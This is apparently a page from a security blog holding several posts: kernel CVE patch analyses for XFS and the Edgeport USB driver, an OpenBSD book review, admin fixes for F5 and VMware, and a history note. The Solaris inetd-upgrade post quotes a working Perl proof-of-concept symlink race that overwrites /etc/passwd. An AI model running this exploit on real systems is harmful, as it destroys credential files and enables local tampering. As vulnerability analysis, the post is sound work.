xorl %eax, %eax

CVE-2013-1774: Linux kernel Edgeport USB Serial Converter NULL Pointer Dereference

leave a comment »

This is a vulnerability fixed by Wolfgang Frisch and the buggy code resides in drivers/usb/serial/io_ti.c as you can see below.

static void chase_port(struct edgeport_port *port, unsigned long timeout,
								int flush)
{
	int baud_rate;
	struct tty_struct *tty = tty_port_tty_get(&port->port->port);
	struct usb_serial *serial = port->port->serial;
	wait_queue_t wait;
	unsigned long flags;
   ...
	remove_wait_queue(&tty->write_wait, &wait);
   ...
	tty_kref_put(tty);
   ...
}

If the equivalent /dev/ttyUSB device file is in use while the device is disconnected then any call to chase_port() (used to chase the port, close and flush it) will lead to NULL pointer dereference since there is no longer a ‘tty’ associated with it. The fix was to add a simple check for this case.

	unsigned long flags;
+	if (!tty)
+		return;
+
	if (!timeout)

Written by xorl

May 18, 2013 at 16:14

Posted in bugs, linux

CVE-2013-1819: Linux kernel XFS _xfs_buf_find() NULL Pointer Dereference

with 2 comments

On 21 January 2013 Dave Chinner of Red Hat committed a change that fixes a NULL pointer dereference vulnerability in XFS filesystem. The below routine is located in fs/xfs/xfs_buf.c file.

/*
 *	Finding and Reading Buffers
 */

/*
 *	Look up, and creates if absent, a lockable buffer for
 *	a given range of an inode.  The buffer is returned
 *	locked.	No I/O is implied by this call.
 */
xfs_buf_t *
_xfs_buf_find(
	struct xfs_buftarg	*btp,
	struct xfs_buf_map	*map,
	int			nmaps,
	xfs_buf_flags_t		flags,
	xfs_buf_t		*new_bp)
{
	size_t			numbytes;
	struct xfs_perag	*pag;
   ...
	/* get tree root */
	pag = xfs_perag_get(btp->bt_mount,
				xfs_daddr_to_agno(btp->bt_mount, blkno));

	/* walk tree */
   ...
	return bp;
}

First of all, the xfs_addr_to_agno() C macro is the following as defined in fs/xfs/xfs_mount.h header file.

#define xfs_daddr_to_agno(mp,d) \
        ((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks))

As Dave Chinner pointed out, if we try to walk a filesystem and the extent map has corrupted block number (out of range address) the call to xfs_perag_get() above will trigger a NULL pointer dereference.

/*
 * Reference counting access wrappers to the perag structures.
 * Because we never free per-ag structures, the only thing we
 * have to protect against changes is the tree structure itself.
 */
struct xfs_perag *
xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno)
{
        struct xfs_perag        *pag;
        int                     ref = 0;
 
        rcu_read_lock();
        pag = radix_tree_lookup(&mp->m_perag_tree, agno);
        if (pag) {
               ASSERT(atomic_read(&pag->pag_ref) >= 0);
               ref = atomic_inc_return(&pag->pag_ref);
        }
        rcu_read_unlock();
        trace_xfs_perag_get(mp, agno, ref, _RET_IP_);
        return pag;
}

The radix_tree_lookup() call will use the invalid block number ‘agblocks’ (size of an allocation group) as an index key to the ‘mp->m_perag_tree’ radix tree.

The fix to this bug was to add a new variable to the susceptible routine:

 	xfs_buf_t		*bp;
 	xfs_daddr_t		blkno = map[0].bm_bn;
+	xfs_daddr_t		eofs;
 	int			numblks = 0;

And write a check for the block number not being larger than the end of the filesystem.

 	ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_smask));
 
+	/*
+	 * Corrupted block numbers can get through to here, unfortunately, so we
+	 * have to check that the buffer falls within the filesystem bounds.
+	 */
+	eofs = XFS_FSB_TO_BB(btp->bt_mount, btp->bt_mount->m_sb.sb_dblocks);
+	if (blkno >= eofs) {
+		/*
+		 * XXX (dgc): we should really be returning EFSCORRUPTED here,
+		 * but none of the higher level infrastructure supports
+		 * returning a specific error on buffer lookup failures.
+		 */
+		xfs_alert(btp->bt_mount,
+			  "%s: Block out of range: block 0x%llx, EOFS 0x%llx ",
+			  __func__, blkno, eofs);
+		return NULL;
+	}
+
 	/* get tree root */

Written by xorl

May 18, 2013 at 16:12

Posted in bugs, linux

Book: Absolute OpenBSD (2nd Edition)

with 2 comments

This is an excellent book for OpenBSD I recently had the opportunity to read. Let’s move on to my per chapter overview of the book.

b_aobsd

Title: Absolute OpenBSD: UNIX for the Practical Paranoid
Author: Michael W. Lucas

Chapter 1: Getting Additional Help
A brief overview of the OpenBSD project’s support model along with the available resources (documentation, assistance, etc.).

Chapter 2: Installation Preparations
A very well written chapter for everything you might need before installing OpenBSD starting from hardware specifications, and moving on how to obtain OpenBSD, understanding partitioning, disklabels, etc.

Chapter 3: Installation Walk-Through
Once again the author starts from the very first steps such as configuring BIOS and goes through all the steps of the installer, disk configuration as well as some more advanced disklabel information.

Chapter 4: Post-Install Setup
In this chapter you can find information on all the basic configuration that usually takes place exactly after the installation process. This ranges from software configuration, timezone settings, networking to more advanced concepts like keyboard mappings, graphic console, etc.

Chapter 5: The Boot Process
Here after a description of the boot loader the author provides us with information on how to work in single-user mode, how to choose different kernel for booting, using serial console and of course, multi-user booting along with everything that comes with it.

Chapter 6: User Management
As the chapter’s title implies, this is a complete guide for user management on OpenBSD. Apart from all the common administration tasks (adding, editing, removing users) there is also a detailed section for login classes.

Chapter 7: Root, and How to Avoid It
This chapter could easily be renamed to “The complete guide to SUDO” since it includes all the required information to configure privileged accounts using SUDO.

Chapter 8: Disks and Filesystems
One of the most useful chapters to anyone moving from Linux to OpenBSD. It’s another detailed part of the book referencing everything that someone needs to know to have a very good understanding of disks and filesystems in the OpenBSD world. This includes partitioning, labeling, FFS (Fast Filesystem), etc. as well as information for managing disks and filesystems on OpenBSD.

Chapter 9: More Filesystems
The previous chapter was mostly focusing on the lower level of disks and filesystems while this one moves to a more in-depth approach on the filesystems. Herein you can find a lot of useful information for MFS (Memory Filesystem), foreign filesystems, NFS, etc.

Chapter 10: Securing Your System
This is a 10 pages chapter but with enough information to keep you researching for some time. It’s an introduction to all the security mechanisms offered by OpenBSD and suggestions on how to keep your system secure after its initial configuration.

Chapter 11: Overview of TCP/IP
Another introduction chapter this time for networking. It’s a very nice and well written part discussing all the basics of TCP/IP from theory to practice always having in mind the OpenBSD’s implementation of it.

Chapter 12: Connecting to the Network
All the essential steps to get your OpenBSD network connected having working Ethernet and DNS name resolution. Furthermore in this chapter there are sections for slightly more advanced topics like trunking, VLANs and over IPv6 tunneling.

Chapter 13: Software Management
Apart from the expected, detailed information on packages and port systems, here the reader can find information on customizing ports and sub-packages.

Chapter 14: Everything /etc
Literally this is the best title to describe what you can find in this chapter. It’s a brief overview of every single configuration file under /etc directory.

Chapter 15: System Maintenance
Here are some common administrative tasks separated by daily, weekly, monthly and custom maintenance tasks. Additionally, you can find information on system logging configuration and management, NTP, device drivers and hardware sensors configuration.

Chapter 16: Network Servers
A description of configuring and managing the most common network servers in OpenBSD. This includes LPD, DHCP, TFTP, SSH and SNMP.

Chapter 17: Desktop OpenBSD
Basically, this is everything you need to know to make your OpenBSD a working desktop environment. From the basic information on setting up X to working with CWM window manager and TMUX.

Chapter 18: Kernel Configuration
The first part of this chapter’s aim is to provide an introduction to understanding OpenBSD’s kernel from a system administrator’s point of view. The next sections deal with more advanced subjects such as kernel tuning via sysctl and custom kernel configuration with config or boot-time kernel configuration.

Chapter 19: Building Custom Kernels
Chapter starts by identifying the cautions of using custom kernels and after that it moves to the complete guide from configuring your own kernel, testing, building, installing and using it.

Chapter 20: Upgrading
Another in-depth chapter this time for the upgrading process in OpenBSD. The first sections provide information on OpenBSD versioning and upgrade process while the following ones discuss in detail all the required steps to upgrade your system with all the available methods.

Chapter 21: Packet Filtering
One of the main advantages of OpenBSD is the Packet Filtering (PF) system. This is an excellent introduction to it that includes all the basic information along with many different rules for various network protocols, configuration options and examples for sanitizing network traffic.

Chapter 22: Advanced PF
Continuing from the previous one, this is a more advanced view of PF. The reader can find more information on setting up packet filtering with subjects like tables, NAT, anchors, bandwidth management, logging, etc.

Chapter 23: Customizing OpenBSD
This last chapter is mostly comprised by ideas and small how-to sections for performing not-so-common tasks with OpenBSD. For example, here you can find information on virtualization, diskless setup, custom upgrades, etc.

This is definitely the absolute OpenBSD book since anyone, even with no experience with this operating system, can easily learn everything he/she needs to work with it. The chapters have a gradual level increase from completely basic to advanced so more advanced users can skip some of the initial ones and move on to the subject they want. Overall it’s an excellent, well written book providing great amount of information. However, the there is not a lot of knowledge for the most advanced users so in my opinion it is mostly focused on people that are starting or have recently started working with OpenBSD.

Written by xorl

May 18, 2013 at 14:19

Posted in books

Admin Mistake: F5 Load Balancer SNAT IP Address Apache Logging

with 10 comments

Background
Assume that you have a common three-tier architecture on a web farm with layers being web, application and database servers. The load balancing is performed by an F5 BIG-IP LTM 1600 load balancer and the logging takes place on the web farm that uses Apache web servers.

Problem
When you attempt to review the access logs of the Apache web servers the only IP address for all the requests is that of the F5 load balancer. Assuming that the load balancer address is 10.10.10.10, the log entries would always look like that:

10.10.10.10 - - [28/Sep/2012:15:06:18 +0000] "GET / HTTP/1.0" 200 228 "-" "Wget/1.12 (linux-gnu)"
10.10.10.10 - - [28/Sep/2012:15:06:31 +0000] "GET / HTTP/1.0" 200 228 "-" "Wget/1.12 (linux-gnu)"

Mistake
By default this F5 load balancer will perform SNAT (Source Network Address Translation) and this is why the requestor IP address is always the load balancer’s one.

Resolution
The solution is to utilize HTTP header field XFF. On the load balancer side you will first have to follow the below steps in the BIG-IP configuration utility:
– Go to “Local Traffic”
– Select “Profiles”
– On the “Services” menu choose “HTTP”
– Create a new profile by clicking on “Create”
– Activate “Insert X-Forwarded For” check box and select “Enabled” from the menu
– Finally click on “Update”
At last, you can use this new HTTP profile to the virtual servers you want to have the XFF HTTP header field.
Moving to the web server side you will have to create a new custom log format on the virtual hosts you want to have proper source IP address logging. So, here is an example custom log format that will include the XFF field.

LogFormat "%v %{X-Forwarded-For}i %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" CUST_F5_XFF_LOG
CustomLog /somewhere/access_log CUST_F5_XFF_LOG

And assuming that the real IP address is 2.2.2.2 while the load balancer’s is 10.10.10.10, the log entries will be:

10.10.10.10 2.2.2.2 - - [28/Sep/2012:16:48:25 +0000] "GET / HTTP/1.0" 200 228 "-" "Wget/1.12 (linux-gnu)"
10.10.10.10 2.2.2.2 - - [28/Sep/2012:16:41:28 +0000] "GET / HTTP/1.0" 200 228 "-" "Wget/1.12 (linux-gnu)"

Written by xorl

September 28, 2012 at 10:00

History: Ancient Athens – Hadrian’s Arch (Greece)

leave a comment »

This post is part of a new category named “history” where I will be publishing quick overviews of historical locations (mainly in Greece) along with photographs and brief descriptions.

This first post will be about Hadrian’s Arch which is currently located at the center of Athens but it used to separate the new with the old city in ancient Greece. Below is a map of Ancient Athens I found here which is very convenient for this post.



And here is a photograph I took a couple of months ago.



In the above photograph, through the Hadrian’s Arch you can clearly see the Acropolis of Athens which we will discuss in another blog post.

History
Hadrian’s Arch was a triumphal arch made of Pentelikon marble in honor of Emperor Hadrian for his numerous benefactions in Ancient Athens. The arch was constructed in 131-132 A.D. and it has height of 18m and width of 13m. The monument was built using corinthian order (the upper part). The inscription of the West side says:
“ΑΙΔ’ΕΙΣΙΝ ΑΘΗΝΑΙ, ΘΗΣΕΩΣ Η ΠΡΙΝ ΠΟΛΙΣ” (This is Athens, the old city of Theseus)
While the East side has the below inscription:
“ΑΙΔ’ ΕIΣΙΝ ΑΔΡΙΑΝΟΥ, ΚΟΥΧI ΘΗΣΕΩΣ ΠΟΛΙΣ” (This is the city of Hadrian, and not of Theseus)
At this point something notable is that the arch can be easily separated in the lower and upper part where the lower has the Ancient Roman Arch design while the upper one has the previously mentioned Ancient Greek architecture (Corinthian Order). This was to honor both the Roman Hadrian as well as the mythical Greek founder of Athens, Theseus.

I can write huge blog posts for such subjects but the whole idea is to provide small overviews. You can continue the research on your own. :)
Below are a few additional photos.



Written by xorl

September 27, 2012 at 17:51

Posted in history

Solaris 10 inetd-upgrade Symbolic Link Race Condition

leave a comment »

This was a simple and nice vulnerability discovered by Larry W. Cashdollar as we can see in his email to the Bugtraq mailing list. The buggy code was part of /lib/svc/method/inetd-upgrade shell script and specifically in the below part.

# The Following blocks of code cause the inetconv generated services to be
# re-generated, so that the latest inetconv modifications are applied to all
# services generated by it.

inetdconf_entries_file=/tmp/iconf_entries.$$
 
# Create sed script that prints out inetd.conf src line from inetconv generated
# manifest.
cat <<EOF > /tmp/inetd-upgrade.$$.sed
/propval name='source_line'/{
n
s/'//g
p
}
/from the inetd.conf(4) format line/{
n
p
}
EOF

# get list of inetconv generated manifests
inetconv_manifests=`/usr/bin/find /lib/svc/manifest -type f -name \*.xml | \
    /usr/bin/xargs /usr/bin/grep -l "Generated by inetconv"`

# For each inetconv generated manifest determine the instances that should
# be disabled when the new manifests are imported, and generate a file with
# the inetd.conf entries from all the manifests for consumption by inetconv.
   ...
	# add the manifest's inetd.conf src line to file for inetconv
	sed -n -f /tmp/inetd-upgrade.$$.sed $manifest >> \
	    $inetdconf_entries_file
done
 
rm /tmp/inetd-upgrade.$$.sed
 
# Check whether we've ever run inetconv before by looking for the
# configuration file hash.  If we haven't run it before, then we need
# to enable services based on inetd.conf.  If we have, then the
# repository is authoritative.  `unimported' will be 0 if the hash exists.
svcprop -qp hash svc:/network/inetd:default
unimported=$?
 
# Run inetconv on generated file, overwriting previous manifests and values
# in repository.
/usr/sbin/inetconv -f -i $inetdconf_entries_file

As you can see, it generates a temporary file using the parent process’ PID (by utilizing the “$$” BASH internal environment variable). Then, generates the appropriate inetconv manifest, deletes the temporary file and runs it. The problem is that the temporary file name can be easily guessed and it is stored in /tmp where an unprivileged user has write access by default.
Larry W. Cashdollar provided a PoC Perl script to demonstrate the exploitation of this vulnerability.

#!/usr/bin/perl 
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) { 
        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
   }
 }

}

First it gets a processing listing and if it finds one that includes “inetd-upgrade” string it will create a symbolic link at “/tmp/iconf_entries.” where PID is the PID of the “inetd-upgrade” process that points to “/etc/passwd” file. Due to this vulnerability, this script will modify the contents of /etc/passwd with the newly generated inetd.conf entries.

This was fixed with patch 137097-01 for SPARC and 137098-01 for X86 architectures respectively. The bug report of this issue was the 6392582 with synopsis “Upgrade from S10 FCS to snv_34 wrongly enables CDE RPC services”.

Written by xorl

September 27, 2012 at 15:13

Posted in bugs, solaris

Admin Mistake: VMware ESX DRS Error

leave a comment »

Background
After a hardware maintenace performed by a company some virtual machines could not be backed up by the VMware Solution of Symantec NetBackup.

Problem
All the affected virtual machines were hosted on the same VMware ESX server and if you log in to the VMware vSphere you were receiving the below error.

Unable to apply DRS resource settings on host 'hostname.somewhere' in SomeDatacenter'(Reason:A general system error occured: Invalid fault). This can significantly reduce the effectiveness of DRS.

Mistake
After the hardware maintenance the engineers did not check that all the VMware services were running properly. In this case Distributed Resource Scheduler (DRS) had some issues on this specific server.

Resolution
This is very simple. A restart of the hostd daemon will almost certainly fix the problem. In this case after restarting the management services everything went back to normal operation.

[root@somewhere ~]# service mgmt-vmware restart
Stopping VMware ESX Server Management services:
   VMware ESX Server Host Agent Watchdog                   [  OK  ]
   VMware ESX Server Host Agent                            [  OK  ]
Starting VMware ESX Server Management services:
   VMware ESX Server Host Agent (background)               [  OK  ]
   Availability report startup (background)                [  OK  ]
[root@somewhere ~]#

Written by xorl

September 27, 2012 at 13:53

Follow

Get every new post delivered to your Inbox.

Join 63 other followers